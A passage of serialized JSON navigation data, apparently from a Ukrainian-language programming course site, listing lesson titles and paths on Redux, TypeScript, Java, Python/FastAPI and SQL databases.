Reducer)","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Fdata-flow","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F04.data-flow",{"title":2358,"path":2359,"stem":2360},"Підключення до React (React-Redux)","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Freact-redux-connection","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F05.react-redux-connection",{"title":2362,"path":2363,"stem":2364},"Middleware та Асинхронність (Redux Thunk)","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Fmiddleware-thunk","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F06.middleware-thunk",{"title":2366,"icon":132,"path":2367,"stem":2368,"children":2369,"page":59},"Transition To Rtk","\u002Fjavascript\u002Freact\u002Fredux\u002Ftransition-to-rtk","03.javascript\u002F04.react\u002F06.redux\u002F03.transition-to-rtk",[2370],{"title":2371,"path":2372,"stem":2373},"Проблеми класичного Redux","\u002Fjavascript\u002Freact\u002Fredux\u002Ftransition-to-rtk\u002Fproblems-with-classic","03.javascript\u002F04.react\u002F06.redux\u002F03.transition-to-rtk\u002F01.problems-with-classic",{"title":2375,"icon":132,"path":2376,"stem":2377,"children":2378,"page":59},"Redux Toolkit","\u002Fjavascript\u002Freact\u002Fredux\u002Fredux-toolkit","03.javascript\u002F04.react\u002F06.redux\u002F04.redux-toolkit",[2379,2383,2387,2391],{"title":2380,"path":2381,"stem":2382},"Налаштування Store з configureStore","\u002Fjavascript\u002Freact\u002Fredux\u002Fredux-toolkit\u002Fconfigure-store","03.javascript\u002F04.react\u002F06.redux\u002F04.redux-toolkit\u002F01.configure-store",{"title":2384,"path":2385,"stem":2386},"createSlice: Революція в Redux","\u002Fjavascript\u002Freact\u002Fredux\u002Fredux-toolkit\u002Fcreate-slice","03.javascript\u002F04.react\u002F06.redux\u002F04.redux-toolkit\u002F02.create-slice",{"title":2388,"path":2389,"stem":2390},"Асинхронність з createAsyncThunk","\u002Fjavascript\u002Freact\u002Fredux\u002Fredux-toolkit\u002Fasync-thunks","03.javascript\u002F04.react\u002F06.redux\u002F04.redux-toolkit\u002F03.async-thunks",{"title":2392,"path":2393,"stem":2394},"04. Entity Adapter: Керування нормалізованим станом","\u002Fjavascript\u002Freact\u002Fredux\u002Fredux-toolkit\u002Fentity-adapter","03.javascript\u002F04.react\u002F06.redux\u002F04.redux-toolkit\u002F04.entity-adapter",{"title":2396,"icon":92,"path":2397,"stem":2398,"children":2399,"page":59},"Advanced","\u002Fjavascript\u002Freact\u002Fredux\u002Fadvanced","03.javascript\u002F04.react\u002F06.redux\u002F05.advanced",[2400,2404,2408],{"title":2401,"path":2402,"stem":2403},"Мемоізація та Селектори: Повний Гайд по Reselect","\u002Fjavascript\u002Freact\u002Fredux\u002Fadvanced\u002Fselectors-reselect","03.javascript\u002F04.react\u002F06.redux\u002F05.advanced\u002F01.selectors-reselect",{"title":2405,"path":2406,"stem":2407},"RTK Query: Архітектура Серверного Кешу","\u002Fjavascript\u002Freact\u002Fredux\u002Fadvanced\u002Frtk-query-intro","03.javascript\u002F04.react\u002F06.redux\u002F05.advanced\u002F02.rtk-query-intro",{"title":2255,"path":2409,"stem":2410},"\u002Fjavascript\u002Freact\u002Fredux\u002Fadvanced\u002Farchitecture-best-practices","03.javascript\u002F04.react\u002F06.redux\u002F05.advanced\u002F03.architecture-best-practices",{"title":2412,"icon":132,"path":2413,"stem":2414,"children":2415,"page":59},"Project Kanban","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban",[2416,2420,2424,2428,2432,2436],{"title":2417,"path":2418,"stem":2419},"Проєкт: Kanban Board (Trello Clone)","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Fproject-overview","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F01.project-overview",{"title":2421,"path":2422,"stem":2423},"Налаштування та Типізація","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Fsetup-and-types","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F02.setup-and-types",{"title":2425,"path":2426,"stem":2427},"Board Slice: Серце Дошки","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Fboard-slice","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F03.board-slice",{"title":2429,"path":2430,"stem":2431},"Логіка Drag & Drop","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Fdrag-and-drop-logic","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F04.drag-and-drop-logic",{"title":2433,"path":2434,"stem":2435},"Інтеграція з RTK Query","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Frtk-query-integration","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F05.rtk-query-integration",{"title":2437,"path":2438,"stem":2439},"Optimistic Updates","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Foptimistic-updates","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F06.optimistic-updates",{"title":2441,"icon":132,"path":2442,"stem":2443,"children":2444,"page":59},"Testing","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting","03.javascript\u002F04.react\u002F06.redux\u002F07.testing",[2445,2449,2453,2457,2461],{"title":2446,"path":2447,"stem":2448},"Тестування Redux","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting\u002Fintro-testing","03.javascript\u002F04.react\u002F06.redux\u002F07.testing\u002F01.intro-testing",{"title":2450,"path":2451,"stem":2452},"Тестування Reducers","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting\u002Ftesting-reducers","03.javascript\u002F04.react\u002F06.redux\u002F07.testing\u002F02.testing-reducers",{"title":2454,"path":2455,"stem":2456},"Тестування Селекторів","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting\u002Ftesting-selectors","03.javascript\u002F04.react\u002F06.redux\u002F07.testing\u002F03.testing-selectors",{"title":2458,"path":2459,"stem":2460},"Тестування Компонентів (Integration)","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting\u002Ftesting-components","03.javascript\u002F04.react\u002F06.redux\u002F07.testing\u002F04.testing-components",{"title":2462,"path":2463,"stem":2464},"Тестування Async Thunks","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting\u002Ftesting-thunks","03.javascript\u002F04.react\u002F06.redux\u002F07.testing\u002F05.testing-thunks",{"title":2466,"icon":132,"path":2467,"stem":2468,"children":2469},"Ui Libraries","\u002Fjavascript\u002Freact\u002Fui-libraries","03.javascript\u002F04.react\u002F07.ui-libraries\u002Findex",[2470,2472,2476,2480,2484,2488,2492],{"title":2471,"path":2467,"stem":2468},"UI Бібліотеки в React",{"title":2473,"path":2474,"stem":2475},"Вступ до UI Бібліотек: Навіщо Винаходити Велосипед Двічі?","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fintroduction-to-ui-libraries","03.javascript\u002F04.react\u002F07.ui-libraries\u002F01.introduction-to-ui-libraries",{"title":2477,"path":2478,"stem":2479},"Філософія shadcn\u002Fui: \"Not a Component Library\"","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fshadcn-philosophy","03.javascript\u002F04.react\u002F07.ui-libraries\u002F02.shadcn-philosophy",{"title":2481,"path":2482,"stem":2483},"Установка та Налаштування shadcn\u002Fui","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fshadcn-installation","03.javascript\u002F04.react\u002F07.ui-libraries\u002F03.shadcn-installation",{"title":2485,"path":2486,"stem":2487},"Базові Компоненти shadcn\u002Fui: Фундамент Інтерфейсу","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fshadcn-components-basics","03.javascript\u002F04.react\u002F07.ui-libraries\u002F04.shadcn-components-basics",{"title":2489,"path":2490,"stem":2491},"Компоненти Форм: Побудова Інтерактивних Form","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fshadcn-components-forms","03.javascript\u002F04.react\u002F07.ui-libraries\u002F05.shadcn-components-forms",{"title":2493,"path":2494,"stem":2495},"Складні Компоненти: Dialog, Dropdown, Table та Command","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fshadcn-components-advanced","03.javascript\u002F04.react\u002F07.ui-libraries\u002F06.shadcn-components-advanced",{"title":2497,"icon":2498,"path":2499,"stem":2500,"children":2501,"page":59},"TypeScript","i-devicon-typescript","\u002Fjavascript\u002Ftypescript","03.javascript\u002F05.typescript",[2502,2506,2510,2514,2518,2522,2526,2530],{"title":2503,"path":2504,"stem":2505},"TypeScript: Броня для вашого коду","\u002Fjavascript\u002Ftypescript\u002Fintro-and-basic-types","03.javascript\u002F05.typescript\u002F01.intro-and-basic-types",{"title":2507,"path":2508,"stem":2509},"Майстерність Моделювання Даних: Інтерфейси та Просунуті Типи","\u002Fjavascript\u002Ftypescript\u002Finterfaces-and-advanced-types","03.javascript\u002F05.typescript\u002F02.interfaces-and-advanced-types",{"title":2511,"path":2512,"stem":2513},"Алхімія Типів: Generics та Utility Types","\u002Fjavascript\u002Ftypescript\u002Fgenerics-and-utilities","03.javascript\u002F05.typescript\u002F03.generics-and-utilities",{"title":2515,"path":2516,"stem":2517},"Архітектура та Шаблони: Класи в TypeScript","\u002Fjavascript\u002Ftypescript\u002Fclasses-and-oop","03.javascript\u002F05.typescript\u002F04.classes-and-oop",{"title":2519,"path":2520,"stem":2521},"Продакшн та Екосистема: Advanced Config & Workflow","\u002Fjavascript\u002Ftypescript\u002Fadvanced-patterns-and-config","03.javascript\u002F05.typescript\u002F05.advanced-patterns-and-config",{"title":2523,"path":2524,"stem":2525},"TypeScript у світі React","\u002Fjavascript\u002Ftypescript\u002Freact-basics","03.javascript\u002F05.typescript\u002F06.react-basics",{"title":2527,"path":2528,"stem":2529},"React + TypeScript: Продвинуті патерни","\u002Fjavascript\u002Ftypescript\u002Freact-advanced","03.javascript\u002F05.typescript\u002F07.react-advanced",{"title":2531,"path":2532,"stem":2533},"React + TypeScript: Екосистема та бібліотеки","\u002Fjavascript\u002Ftypescript\u002Freact-ecosystem","03.javascript\u002F05.typescript\u002F08.react-ecosystem",{"title":2535,"icon":2536,"path":2537,"stem":2538,"children":2539,"page":59},"Асинхронність","i-lucide-refresh-cw","\u002Fjavascript\u002Fasync-programming","03.javascript\u002F06.async-programming",[2540,2544,2548],{"title":2541,"path":2542,"stem":2543},"Event Loop: серце асинхронності в JavaScript","\u002Fjavascript\u002Fasync-programming\u002Fevent-loop-fundamentals","03.javascript\u002F06.async-programming\u002F01.event-loop-fundamentals",{"title":2545,"path":2546,"stem":2547},"Task Queue та Microtask Queue: пріоритети виконання","\u002Fjavascript\u002Fasync-programming\u002Ftask-queues","03.javascript\u002F06.async-programming\u002F02.task-queues",{"title":2549,"path":2550,"stem":2551},"Асинхронні патерни: від Callbacks до Async\u002FAwait","\u002Fjavascript\u002Fasync-programming\u002Fasync-patterns","03.javascript\u002F06.async-programming\u002F03.async-patterns",{"title":2553,"path":2554,"stem":2555},"Atomic Design","\u002Fjavascript\u002Fatomic-design","03.javascript\u002F2.atomic-design",{"title":2557,"icon":2558,"path":2559,"stem":2560,"children":2561,"page":59},"Java","i-devicon-java","\u002Fjava","04.java",[2562,2565,2568,2572,2576,2580,2584],{"title":162,"path":2563,"stem":2564},"\u002Fjava\u002Fdata-mapper-part1","04.java\u002F01.data-mapper-part1",{"title":166,"path":2566,"stem":2567},"\u002Fjava\u002Fdata-mapper-part2","04.java\u002F02.data-mapper-part2",{"title":2569,"path":2570,"stem":2571},"Service Layer: Організація бізнес-логіки","\u002Fjava\u002Fservice-layer","04.java\u002F03.service-layer",{"title":2573,"path":2574,"stem":2575},"Rich Domain Model та State Pattern","\u002Fjava\u002Frich-domain-model","04.java\u002F04.rich-domain-model",{"title":2577,"path":2578,"stem":2579},"Патерни для складної бізнес-логіки","\u002Fjava\u002Fbusiness-logic-patterns","04.java\u002F05.business-logic-patterns",{"title":2581,"path":2582,"stem":2583},"Обробка помилок та валідація","\u002Fjava\u002Ferror-handling-validation","04.java\u002F06.error-handling-validation",{"title":2585,"path":2586,"stem":2587,"children":2588,"page":59},"Проектування баз даних","\u002Fjava\u002Fpr2","04.java\u002Fpr2",[2589,2593,2597,2601,2605,2609,2613,2617,2621,2625,2629,2633,2637,2641,2645,2649,2653,2657,2661,2665,2669,2673,2677,2681,2685,2689,2693,2697,2701,2705,2709,2713,2717,2721,2725,2729,2733],{"title":2590,"path":2591,"stem":2592},"Концептуальне моделювання: Мистецтво розуміння предметної області","\u002Fjava\u002Fpr2\u002Fconceptual-modeling","04.java\u002Fpr2\u002F01.conceptual-modeling",{"title":2594,"path":2595,"stem":2596},"Логічне моделювання: Від бізнес-ідей до структур даних","\u002Fjava\u002Fpr2\u002Flogical-modeling","04.java\u002Fpr2\u002F02.logical-modeling",{"title":2598,"path":2599,"stem":2600},"Нормалізація: Гігієна даних та боротьба з аномаліями","\u002Fjava\u002Fpr2\u002Fnormalization","04.java\u002Fpr2\u002F03.normalization",{"title":2602,"path":2603,"stem":2604},"Фізична схема: Від абстракції до DDL","\u002Fjava\u002Fpr2\u002Fphysical-schema","04.java\u002Fpr2\u002F04.physical-schema",{"title":2606,"path":2607,"stem":2608},"Архітектурна класифікація таблиць","\u002Fjava\u002Fpr2\u002Ftable-classification","04.java\u002Fpr2\u002F05.table-classification",{"title":2610,"path":2611,"stem":2612},"Database Migrations: Версіонування схеми з Flyway","\u002Fjava\u002Fpr2\u002Fdatabase-migrations","04.java\u002Fpr2\u002F06.database-migrations",{"title":2614,"path":2615,"stem":2616},"А що, якби це була не реляційна БД?","\u002Fjava\u002Fpr2\u002Fbeyond-relational","04.java\u002Fpr2\u002F07.beyond-relational",{"title":2618,"path":2619,"stem":2620},"Object-Relational Impedance Mismatch: Два світи, що не хочуть дружити","\u002Fjava\u002Fpr2\u002Fimpedance-mismatch","04.java\u002Fpr2\u002F09.impedance-mismatch",{"title":2622,"path":2623,"stem":2624},"JDBC: Перший контакт із базою даних","\u002Fjava\u002Fpr2\u002Fjdbc-fundamentals","04.java\u002Fpr2\u002F10.jdbc-fundamentals",{"title":2626,"path":2627,"stem":2628},"Якість коду: Spotless, SpotBugs та SonarQube","\u002Fjava\u002Fpr2\u002F10a.code-quality","04.java\u002Fpr2\u002F10a.code-quality",{"title":2630,"path":2631,"stem":2632},"Connection Pool: Патерн Object Pool для JDBC-з'єднань","\u002Fjava\u002Fpr2\u002Fconnection-pool","04.java\u002Fpr2\u002F11.connection-pool",{"title":2634,"path":2635,"stem":2636},"Row Data Gateway: Об'єкт як обгортка рядка таблиці","\u002Fjava\u002Fpr2\u002Frow-data-gateway","04.java\u002Fpr2\u002F12.row-data-gateway",{"title":2638,"path":2639,"stem":2640},"Table Data Gateway: Фасад таблиці як архітектурний відступ","\u002Fjava\u002Fpr2\u002Ftable-data-gateway","04.java\u002Fpr2\u002F13.table-data-gateway",{"title":2642,"path":2643,"stem":2644},"Repository + Data Mapper: Правильна шарова архітектура з JDBC","\u002Fjava\u002Fpr2\u002Frepository-data-mapper","04.java\u002Fpr2\u002F14.repository-data-mapper",{"title":2646,"path":2647,"stem":2648},"Identity Map: Кешування сутностей у рамках сесії","\u002Fjava\u002Fpr2\u002Fidentity-map","04.java\u002Fpr2\u002F15.identity-map",{"title":2650,"path":2651,"stem":2652},"Unit of Work: Відстеження змін і координація JDBC-транзакцій","\u002Fjava\u002Fpr2\u002Funit-of-work","04.java\u002Fpr2\u002F16.unit-of-work",{"title":2654,"path":2655,"stem":2656},"Strategy: Замінювані SQL-стратегії для підтримки різних СУБД","\u002Fjava\u002Fpr2\u002Fstrategy-sql","04.java\u002Fpr2\u002F17.strategy-sql",{"title":2658,"path":2659,"stem":2660},"Proxy: Lazy Loading для One-To-Many колекцій","\u002Fjava\u002Fpr2\u002Fproxy-lazy-loading","04.java\u002Fpr2\u002F18.proxy-lazy-loading",{"title":2662,"path":2663,"stem":2664},"Generic Repository через Java Reflection: анотації та динамічний SQL","\u002Fjava\u002Fpr2\u002Fgeneric-repository-reflection","04.java\u002Fpr2\u002F19.generic-repository-reflection",{"title":2666,"path":2667,"stem":2668},"Specification Pattern: Композиція бізнес-правил для складних запитів","\u002Fjava\u002Fpr2\u002Fspecification-pattern","04.java\u002Fpr2\u002F20.specification-pattern",{"title":2670,"path":2671,"stem":2672},"Розширені можливості Specification Pattern: підзапити, агрегації та гібридний підхід","\u002Fjava\u002Fpr2\u002F20a.advanced-specifications","04.java\u002Fpr2\u002F20a.advanced-specifications",{"title":2674,"path":2675,"stem":2676},"Асинхронність у JDBC: Від блокуючих викликів до CompletableFuture","\u002Fjava\u002Fpr2\u002Fasynchronous-jdbc","04.java\u002Fpr2\u002F21.asynchronous-jdbc",{"title":2678,"path":2679,"stem":2680},"Інтеграційне тестування JDBC-репозиторіїв: Embedded H2 та патерн AAA","\u002Fjava\u002Fpr2\u002Fintegration-testing-h2","04.java\u002Fpr2\u002F22.integration-testing-h2",{"title":2682,"path":2683,"stem":2684},"Testcontainers: Тестування з реальною PostgreSQL у Docker-контейнерах","\u002Fjava\u002Fpr2\u002Fintegration-testing-testcontainers","04.java\u002Fpr2\u002F23.integration-testing-testcontainers",{"title":2686,"path":2687,"stem":2688},"Google Guice: Впровадження залежностей у JavaFX-проєкті","\u002Fjava\u002Fpr2\u002Fdependency-injection-guice","04.java\u002Fpr2\u002F24.dependency-injection-guice",{"title":2690,"path":2691,"stem":2692},"JavaFX: Основи побудови графічних інтерфейсів","\u002Fjava\u002Fpr2\u002Fjavafx-fundamentals","04.java\u002Fpr2\u002F25.javafx-fundamentals",{"title":2694,"path":2695,"stem":2696},"Properties та Bindings: Реактивність у JavaFX","\u002Fjava\u002Fpr2\u002Fjavafx-properties-bindings","04.java\u002Fpr2\u002F26.javafx-properties-bindings",{"title":2698,"path":2699,"stem":2700},"MVC vs MVP vs MVVM: Еволюція архітектурних патернів UI","\u002Fjava\u002Fpr2\u002Fui-architecture-patterns","04.java\u002Fpr2\u002F27.ui-architecture-patterns",{"title":2702,"path":2703,"stem":2704},"MVVM на практиці: Побудова ViewModel","\u002Fjava\u002Fpr2\u002Fmvvm-viewmodel-implementation","04.java\u002Fpr2\u002F28.mvvm-viewmodel-implementation",{"title":2706,"path":2707,"stem":2708},"View та Controller: Зв'язування з ViewModel через FXML","\u002Fjava\u002Fpr2\u002Fmvvm-view-controller","04.java\u002Fpr2\u002F29.mvvm-view-controller",{"title":2710,"path":2711,"stem":2712},"Інтеграція MVVM з Guice: Автоматична ін'єкція залежностей","\u002Fjava\u002Fpr2\u002Fmvvm-guice-integration","04.java\u002Fpr2\u002F30.mvvm-guice-integration",{"title":2714,"path":2715,"stem":2716},"Валідація та обробка помилок у MVVM","\u002Fjava\u002Fpr2\u002Fmvvm-validation-error-handling","04.java\u002Fpr2\u002F31.mvvm-validation-error-handling",{"title":2718,"path":2719,"stem":2720},"Навігація та управління екранами у JavaFX MVVM","\u002Fjava\u002Fpr2\u002Fmvvm-navigation-screen-management","04.java\u002Fpr2\u002F32.mvvm-navigation-screen-management",{"title":2722,"path":2723,"stem":2724},"Тестування JavaFX MVVM-додатків","\u002Fjava\u002Fpr2\u002Fmvvm-testing","04.java\u002Fpr2\u002F33.mvvm-testing",{"title":2726,"path":2727,"stem":2728},"Стилізація та теми у JavaFX: CSS та User Experience","\u002Fjava\u002Fpr2\u002Fjavafx-styling-themes","04.java\u002Fpr2\u002F34.javafx-styling-themes",{"title":2730,"path":2731,"stem":2732},"AtlantaFX: Сучасні теми для JavaFX додатків","\u002Fjava\u002Fpr2\u002Fatlantafx-modern-themes","04.java\u002Fpr2\u002F35.atlantafx-modern-themes",{"title":2734,"path":2735,"stem":2736},"Пакування та розповсюдження JavaFX-додатків","\u002Fjava\u002Fpr2\u002Fjar-packaging-distribution","04.java\u002Fpr2\u002F36.jar-packaging-distribution",{"title":2738,"icon":2739,"path":2740,"stem":2741,"children":2742,"page":59},"Python","i-devicon-python","\u002Fpython","05.python",[2743,2747,2750,2754,2758,2762,2766,2770,2774,2778,2782,2786,2790,2794,2798,2859],{"title":2744,"path":2745,"stem":2746},"Модулі, Пакети та Віртуальні Середовища","\u002Fpython\u002Fmodules-packages-venv","05.python\u002F00.modules-packages-venv",{"title":71,"path":2748,"stem":2749},"\u002Fpython\u002Fclasses-objects","05.python\u002F01.classes-objects",{"title":2751,"path":2752,"stem":2753},"Інкапсуляція, Керування Доступом та Властивості","\u002Fpython\u002Fencapsulation","05.python\u002F02.encapsulation",{"title":2755,"path":2756,"stem":2757},"Наслідування, MRO та суперсила super()","\u002Fpython\u002Finheritance-mro","05.python\u002F03.inheritance-mro",{"title":2759,"path":2760,"stem":2761},"Абстракція — ABC проти Статичних Протоколів (PEP 544)","\u002Fpython\u002Fabstraction-protocols","05.python\u002F04.abstraction-protocols",{"title":2763,"path":2764,"stem":2765},"Магічні методи (Dunder) та Емуляція протоколів","\u002Fpython\u002Fdunder-methods","05.python\u002F05.dunder-methods",{"title":2767,"path":2768,"stem":2769},"Декоратори та Керування життєвим циклом методів","\u002Fpython\u002Fdecorators-static-class","05.python\u002F06.decorators-static-class",{"title":2771,"path":2772,"stem":2773},"Дескриптори — Магія доступу до атрибутів","\u002Fpython\u002Fdescriptors","05.python\u002F07.descriptors",{"title":2775,"path":2776,"stem":2777},"Метакласи — Динамічне створення класів під капотом CPython","\u002Fpython\u002Fmetaclasses","05.python\u002F08.metaclasses",{"title":2779,"path":2780,"stem":2781},"Dataclasses, NamedTuple та сучасні контейнери Python","\u002Fpython\u002Fmodern-containers","05.python\u002F09.modern-containers",{"title":2783,"path":2784,"stem":2785},"GIL та модель конкурентності CPython — фундамент перед потоками і процесами","\u002Fpython\u002Fgil-concurrency-intro","05.python\u002F11.gil-concurrency-intro",{"title":2787,"path":2788,"stem":2789},"Threading — конкурентність для I\u002FO-bound задач","\u002Fpython\u002Fthreading","05.python\u002F12.threading",{"title":2791,"path":2792,"stem":2793},"Multiprocessing — справжній паралелізм для CPU-bound задач","\u002Fpython\u002Fmultiprocessing","05.python\u002F13.multiprocessing",{"title":2795,"path":2796,"stem":2797},"asyncio — кооперативна конкурентність та event loop","\u002Fpython\u002Fasyncio","05.python\u002F14.asyncio",{"title":2799,"icon":92,"path":2800,"stem":2801,"children":2802,"page":59},"FastAPI","\u002Fpython\u002Ffastapi","05.python\u002Ffastapi",[2803,2807,2811,2815,2819,2823,2827,2831,2835,2839,2843,2847,2851,2855],{"title":2804,"path":2805,"stem":2806},"Глибокий Typing та Pydantic v2 — від анотацій до валідації","\u002Fpython\u002Ffastapi\u002Ftyping-pydantic","05.python\u002Ffastapi\u002F15.typing-pydantic",{"title":2808,"path":2809,"stem":2810},"WSGI, ASGI та Python Web-екосистема","\u002Fpython\u002Ffastapi\u002Fwsgi-asgi-ecosystem","05.python\u002Ffastapi\u002F16.wsgi-asgi-ecosystem",{"title":2812,"path":2813,"stem":2814},"FastAPI: Перший додаток, Uvicorn та OpenAPI","\u002Fpython\u002Ffastapi\u002Ffastapi-intro","05.python\u002Ffastapi\u002F17.fastapi-intro",{"title":2816,"path":2817,"stem":2818},"Маршрутизація, параметри запитів та APIRouter","\u002Fpython\u002Ffastapi\u002Ffastapi-routing-params","05.python\u002Ffastapi\u002F18.fastapi-routing-params",{"title":2820,"path":2821,"stem":2822},"Pydantic v2 у FastAPI — схеми, валідація та серіалізація","\u002Fpython\u002Ffastapi\u002Ffastapi-pydantic-schemas","05.python\u002Ffastapi\u002F19.fastapi-pydantic-schemas",{"title":2824,"path":2825,"stem":2826},"Dependency Injection — серце архітектури FastAPI","\u002Fpython\u002Ffastapi\u002Ffastapi-dependency-injection","05.python\u002Ffastapi\u002F20.fastapi-dependency-injection",{"title":2828,"path":2829,"stem":2830},"Обробка помилок, Middleware та CORS у FastAPI","\u002Fpython\u002Ffastapi\u002Ffastapi-errors-middleware","05.python\u002Ffastapi\u002F21.fastapi-errors-middleware",{"title":2832,"path":2833,"stem":2834},"SQLAlchemy 2.0 — ORM, Core та Async Engine","\u002Fpython\u002Ffastapi\u002Fsqlalchemy-orm","05.python\u002Ffastapi\u002F22.sqlalchemy-orm",{"title":2836,"path":2837,"stem":2838},"Alembic — міграції бази даних","\u002Fpython\u002Ffastapi\u002Falembic-migrations","05.python\u002Ffastapi\u002F23.alembic-migrations",{"title":2840,"path":2841,"stem":2842},"Repository Pattern та Clean Architecture у FastAPI","\u002Fpython\u002Ffastapi\u002Ffastapi-repository-clean-arch","05.python\u002Ffastapi\u002F24.fastapi-repository-clean-arch",{"title":2844,"path":2845,"stem":2846},"Автентифікація та авторизація — JWT, OAuth2, RBAC","\u002Fpython\u002Ffastapi\u002Ffastapi-auth-security","05.python\u002Ffastapi\u002F25.fastapi-auth-security",{"title":2848,"path":2849,"stem":2850},"Тестування FastAPI — pytest, httpx, fixtures","\u002Fpython\u002Ffastapi\u002Ffastapi-testing","05.python\u002Ffastapi\u002F26.fastapi-testing",{"title":2852,"path":2853,"stem":2854},"Async на повну — Background Tasks, WebSockets, SSE та Celery","\u002Fpython\u002Ffastapi\u002Ffastapi-async-advanced","05.python\u002Ffastapi\u002F27.fastapi-async-advanced",{"title":2856,"path":2857,"stem":2858},"Deployment — Docker, CI\u002FCD, Monitoring","\u002Fpython\u002Ffastapi\u002Ffastapi-deployment","05.python\u002Ffastapi\u002F28.fastapi-deployment",{"title":2860,"path":2861,"stem":2862},"[object Object]","\u002Fpython\u002Foop-plan","05.python\u002Foop-plan",{"title":2864,"icon":2865,"path":2866,"stem":2867,"children":2868,"page":59},"Бази даних","i-lucide-database","\u002Fdatabases","06.databases",[2869,2899,2922,2959,2988,3006,3040,3052,3061],{"title":2870,"icon":2871,"path":2872,"stem":2873,"children":2874,"page":59},"Intro","i-lucide-play","\u002Fdatabases\u002Fintro","06.databases\u002F01.intro",[2875,2879,2883,2887,2891,2895],{"title":2876,"path":2877,"stem":2878},"Введення в теорію баз даних","\u002Fdatabases\u002Fintro\u002Fintroduction-to-databases","06.databases\u002F01.intro\u002F01.introduction-to-databases",{"title":2880,"path":2881,"stem":2882},"Реляційна модель даних","\u002Fdatabases\u002Fintro\u002Frelational-model-theory","06.databases\u002F01.intro\u002F02.relational-model-theory",{"title":2884,"path":2885,"stem":2886},"ER-моделювання","\u002Fdatabases\u002Fintro\u002Fer-modeling","06.databases\u002F01.intro\u002F03.er-modeling",{"title":2888,"path":2889,"stem":2890},"Логічне проектування БД","\u002Fdatabases\u002Fintro\u002Flogical-schema","06.databases\u002F01.intro\u002F04.logical-schema",{"title":2892,"path":2893,"stem":2894},"Класифікація таблиць","\u002Fdatabases\u002Fintro\u002Ftable-classification","06.databases\u002F01.intro\u002F05.table-classification",{"title":2896,"path":2897,"stem":2898},"PlantUML для баз даних","\u002Fdatabases\u002Fintro\u002Fplantuml-diagrams","06.databases\u002F01.intro\u002F06.plantuml-diagrams",{"title":2900,"icon":2865,"path":2901,"stem":2902,"children":2903,"page":59},"MS SQL Server Start","\u002Fdatabases\u002Fms-sql-server-start","06.databases\u002F02.ms-sql-server-start",[2904,2908,2914,2918],{"title":2905,"path":2906,"stem":2907},"Типи даних у MS SQL Server","\u002Fdatabases\u002Fms-sql-server-start\u002Fdata-types","06.databases\u002F02.ms-sql-server-start\u002F01.data-types",{"title":2909,"path":2910,"stem":2911,"children":2912},"Індекси у MS SQL Server","\u002Fdatabases\u002Fms-sql-server-start\u002Fsql-indexes","06.databases\u002F02.ms-sql-server-start\u002F02.sql-indexes",[2913],{"title":2909,"path":2910,"stem":2911},{"title":2915,"path":2916,"stem":2917},"Системні бази даних MS SQL Server","\u002Fdatabases\u002Fms-sql-server-start\u002Fsystem-databases","06.databases\u002F02.ms-sql-server-start\u002F03.system-databases",{"title":2919,"path":2920,"stem":2921},"Огляд мови SQL та запитів","\u002Fdatabases\u002Fms-sql-server-start\u002Fsql-queries-overview","06.databases\u002F02.ms-sql-server-start\u002F04.sql-queries-overview",{"title":2923,"icon":2865,"path":2924,"stem":2925,"children":2926,"page":59},"SQL","\u002Fdatabases\u002Fsql","06.databases\u002F03.sql",[2927,2931,2935,2939,2943,2947,2951,2955],{"title":2928,"path":2929,"stem":2930},"Налаштування демонстраційної бази даних","\u002Fdatabases\u002Fsql\u002Fsample-database-setup","06.databases\u002F03.sql\u002F00.sample-database-setup",{"title":2932,"path":2933,"stem":2934},"DDL - Створення таблиць (CREATE TABLE)","\u002Fdatabases\u002Fsql\u002Fddl-create-table","06.databases\u002F03.sql\u002F01.ddl-create-table",{"title":2936,"path":2937,"stem":2938},"DDL - Зміна та видалення таблиць (ALTER, DROP)","\u002Fdatabases\u002Fsql\u002Fddl-alter-drop-table","06.databases\u002F03.sql\u002F02.ddl-alter-drop-table",{"title":2940,"path":2941,"stem":2942},"SELECT запити - Основи","\u002Fdatabases\u002Fsql\u002Fselect-queries-fundamentals","06.databases\u002F03.sql\u002F03.select-queries-fundamentals",{"title":2944,"path":2945,"stem":2946},"SELECT запити - Розширені можливості","\u002Fdatabases\u002Fsql\u002Fselect-queries-advanced","06.databases\u002F03.sql\u002F04.select-queries-advanced",{"title":2948,"path":2949,"stem":2950},"INSERT запити - Додавання даних","\u002Fdatabases\u002Fsql\u002Finsert-queries","06.databases\u002F03.sql\u002F05.insert-queries",{"title":2952,"path":2953,"stem":2954},"UPDATE та DELETE запити","\u002Fdatabases\u002Fsql\u002Fupdate-delete-queries","06.databases\u002F03.sql\u002F06.update-delete-queries",{"title":2956,"path":2957,"stem":2958},"Транзакції в 